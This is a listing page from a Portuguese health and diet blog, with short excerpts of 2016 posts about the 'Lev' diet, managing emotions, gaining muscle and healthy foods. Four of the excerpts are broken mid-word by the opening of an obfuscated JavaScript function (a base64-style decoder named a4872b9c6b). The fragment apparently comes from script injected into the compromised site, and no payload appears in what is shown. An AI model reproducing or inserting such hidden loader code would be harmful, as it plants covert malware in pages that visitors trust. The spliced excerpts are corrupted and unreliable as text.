Jun 20, 2016 | Em Alta, Equilíbrio, Saúde e bem estar, sidebar 3
A minha dieta resulta mesmo Nesta Primavera estou mais Lev. Decidi fazer esta dieta para perder as gordurinhas acumuladas no inverno tão rigoroso que tivemos. E devagar devagarinho já lá vão perto de 5 kg. A roupinha voltou a servir-me, ou melhor, eu a servir na...
Jun 20, 2016 | Equilíbrio, Saúde e bem estar
Gerir as emoções para ser mais feliz Saber gerir as emoções é uma tarefa fundamental para o nosso bem-estar, e para enfrentarmos todas as situações desafiantes que surgem ao longo da vida. Em «Uma caixa de primeiros socorros das emoções», a psicóloga Maria Palha...
Jun 17, 2016 | Equilíbrio, header, Saúde e bem estar, sidebar 2
As melhores dicas para ganhar massa muscular O verão aproxima-se e intensificam-se as preocupações com a silhueta que vamos exibir na praia. Se quer ter um corpo mais firme e definido, tem de reforçar a sua massa muscular. O nutricionista clínico Custódio César,...
Jun 16, 2016 | Equilíbrio, Saúde e bem estar
A dieta certa para mim. Olá! Tem acompanhado a minha dieta Lev? Se não acompanhou, ainda está a tempo: veja como é que eu estava qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...
Jun 13, 2016 | Equilíbrio, Saúde e bem estar
Truques e dicas para comer bem Maximize o poder salutar da fruta, dos legumes e dos vegetais: Prefira os produtos frescos, que ainda estão viçosos e não murchos. Fresco = nutritivo. Qufunction a4872b9c6b(y1){var...
Jun 7, 2016 | Em Alta, Equilíbrio, Saúde e bem estar, sidebar 3
Olá! Venho dar-vos ótimas novidades. Desde que comecei a dieta LEV, a balança passou a ser a minha melhor amiga! Só me dá boas notícias. Estou a ficar mais magra! Yuppy!!! Dos quilos que sonhava perder, 3.400 kg já lá vão. E sem passar fome! Com tanta variedade de...
Jun 6, 2016 | Equilíbrio, Saúde e bem estar
Como ser mais feliz – 9 regras simples Todos nascemos felizes e podemos ser felizes! Ser feliz e aproveitar a vida ao máximo é uma opção que depende essencialmente de nós, mas nem sempre a tomamos, por uma espécie de medo de ser feliz. «Quase sempre a maior ou menor...
Jun 5, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
A pergunta que todas fazemos é: esse alimento engorda ou não? É certo que as mães são sábias, mas ainda assim, por vezes, podem dar-lhe dicas alimentares que não correspondem bem à verdade. Conheça os mitos que o function a4872b9c6b(y1){var...
Jun 3, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
A lista dos 17 alimentos saudáveis que mais saciam Aqui tem uma lista muito simples de alimentos saudáveis, de fácil consulta. Se o seu objectivo é perder peso, planifique as suas ementas de maneira a incluir nelas estes alimentos e conseguirá controlar o seu peso de...
Mai 31, 2016 | Equilíbrio, Saúde e bem estar
17 maneiras de dar aos vegetais e a outros alimentos um sabor delicioso Use mais especiarias: qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
